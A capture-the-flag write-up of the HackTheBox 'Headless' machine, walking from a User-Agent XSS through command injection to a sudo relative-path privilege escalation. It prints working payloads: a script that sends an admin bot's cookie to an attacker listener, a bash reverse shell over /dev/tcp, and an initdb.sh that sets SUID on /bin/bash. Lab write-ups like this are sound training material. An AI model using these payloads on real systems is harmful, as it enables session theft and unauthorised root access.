// HackTheBox

Headless

XSS via User-Agent header, admin's headless-browser bot → relative-path script hijack

HackTheBoxEasyLinux Jul 20, 2026 6 min read

Recon

nmap found two open ports:

Port Service
22 ssh — OpenSSH 9.2p1
5000 http — Werkzeug 2.2.2, Python 3.11.2

Werkzeug is Flask’s development server, so port 5000 is a Python Flask app. It serves an “Under Construction” landing page whose only real link points at /support. A full port scan confirmed nothing else is listening, so the entire box has to be reached through that one web app.

The interesting detail is the cookie. Every visitor is handed an is_admin cookie in itsdangerous format — <b64 payload>.<signature>, e.g. is_admin=InVzZXIi.sig, where the payload base64-decodes to the JSON string "user". (itsdangerous is the library Flask uses to sign cookies: the value is stored in the clear and protected by an HMAC signature, not encrypted.) The /dashboard page requires that decoded value to be "admin"; it checks this itself and returns abort(401) with no WWW-Authenticate header — a hand-rolled role check, not real HTTP Basic Auth.

The obvious move is to flip the payload to "admin" and re-sign it, but that needs the server’s secret key. Editing the payload without a valid signature triggers an unhandled exception (HTTP 500), which confirms the signature is genuinely verified. Cracking the itsdangerous secret offline against rockyou.txt (14.3M candidates, ~3 min) and a curated wordlist (JWT secrets plus common passwords, ~116k) both came up empty, so forging our own admin cookie isn’t viable. We need to steal a real one instead — and something on this box has to be holding an admin cookie for us to steal.

Foothold — XSS via User-Agent header, admin’s headless-browser bot

/support is a ticket form (fname / lname / email / phone / message). Submitting an HTML tag in the message field flags the ticket for “header analysis” by an admin process — a headless-browser bot (which is where the box gets its name) that reviews flagged tickets. Crucially, when it reviews one it renders the submitting request’s User-Agent header back into a page unescaped. That header, not the visible form fields, is the real injection point: the message field only serves to get the ticket flagged so the bot looks at it.

So the attack is cross-site scripting (XSS) delivered through a request header. We POST to /support with an HTML tag in message to trip the flag, and a script tag in the User-Agent header that exfiltrates the bot’s own cookies to a listener we control:

User-Agent: <script>var i=new Image();i.src="http://<LHOST>:8000/steal?c="+document.cookie;</script>
message: <b>please review this ticket</b>

Because is_admin was set without the HttpOnly flag, JavaScript can read it via document.cookie — that flag exists precisely to block this, and its absence is the bug that makes the XSS pay off. The bot visited within a few minutes and its legitimately-signed admin cookie (is_admin=ImFkbWluIg.<sig>) arrived on our HTTP listener. Setting that cookie in our own browser unlocks /dashboard.

Dashboard command injection

/dashboard (now reachable with the stolen admin cookie) is a “generate website health report” form with a single date field. That value is POSTed and interpolated straight into a shell command server-side with no sanitisation, so anything we append after a ; runs on the host. We use it to fire a reverse shell back to us:

$ date=2023-09-15; setsid -f bash -c 'exec bash -i >& /dev/tcp/<LHOST>/4444 0>&1' </dev/null >/dev/null 2>&1 &

One catch worth flagging: a plain nc -lvnp listener does accept the connection, but nc reads EOF from its own inherited stdin (whatever launched it) as soon as that invocation returns, and the remote bash treats that EOF as exit, killing the session immediately. The fix is to decouple nc’s stdin from a FIFO so it never sees EOF — the same orphaned-session trick used on the Bedside box:

$ mkfifo nc_in; tail -f nc_in | nc -lvnp <port> -k

Commands are then fed in with echo "<cmd>" > nc_in, and tail -f keeps the pipe open forever. The shell landed as dvir.

Privilege Escalation — relative-path script hijack

Checking what dvir may run as root:

sudo -l(ALL) NOPASSWD: /usr/bin/syscheck. That script is root-only (it starts with an EUID -ne 0 => exit 1 guard, so it’s meant to be run via sudo) and its body includes:

if ! pgrep -x "initdb.sh" &>/dev/null; then
  ./initdb.sh 2>/dev/null   # <-- relative path, no ./ dir pinning
fi

The bug is the bare ./initdb.sh: it’s a relative path, so which file actually runs depends entirely on the working directory syscheck is invoked from. dvir’s mail (/var/mail/dvir) all but spells this out — a message about a “new system check script” and a nudge that “we’re still waiting on you to create the database initialization script.” The box’s own fiction is pointing at the missing file we get to supply.

So we plant our own initdb.sh (executable) in a directory we control, then run the sudo-allowed script from that directory so its relative ./initdb.sh resolves to ours and executes as root:

#!/bin/bash
cp /root/root.txt /tmp/.rootflag_out 2>/dev/null; chmod 644 /tmp/.rootflag_out
chmod u+s /bin/bash

Running sudo /usr/bin/syscheck from that directory copies out root.txt and, for good measure, sets the SUID bit on /bin/bash so bash -p yields a root shell.

Key Takeaways

  • Box name was a legitimate hint: “Headless” = an admin headless-browser bot reviews flagged support tickets, and its cookie (no HttpOnly) is the actual prize.
  • The message field just flags a ticket for review; the real unescaped-render injection point was a request header (User-Agent), not a form field — worth checking headers as XSS vectors, not just body params, on any “flag for review” style feature.
  • nc reverse shells silently die on EOF from their own inherited stdin unless decoupled (FIFO + tail -f) — cost real time here from repeated “connects then immediately exits” confusion.
  • Relative-path script execution inside a sudo-permitted script is a classic and fast privesc once found — check every sudo-permitted script’s source for bare ./foo or unqualified command names.
← All writeups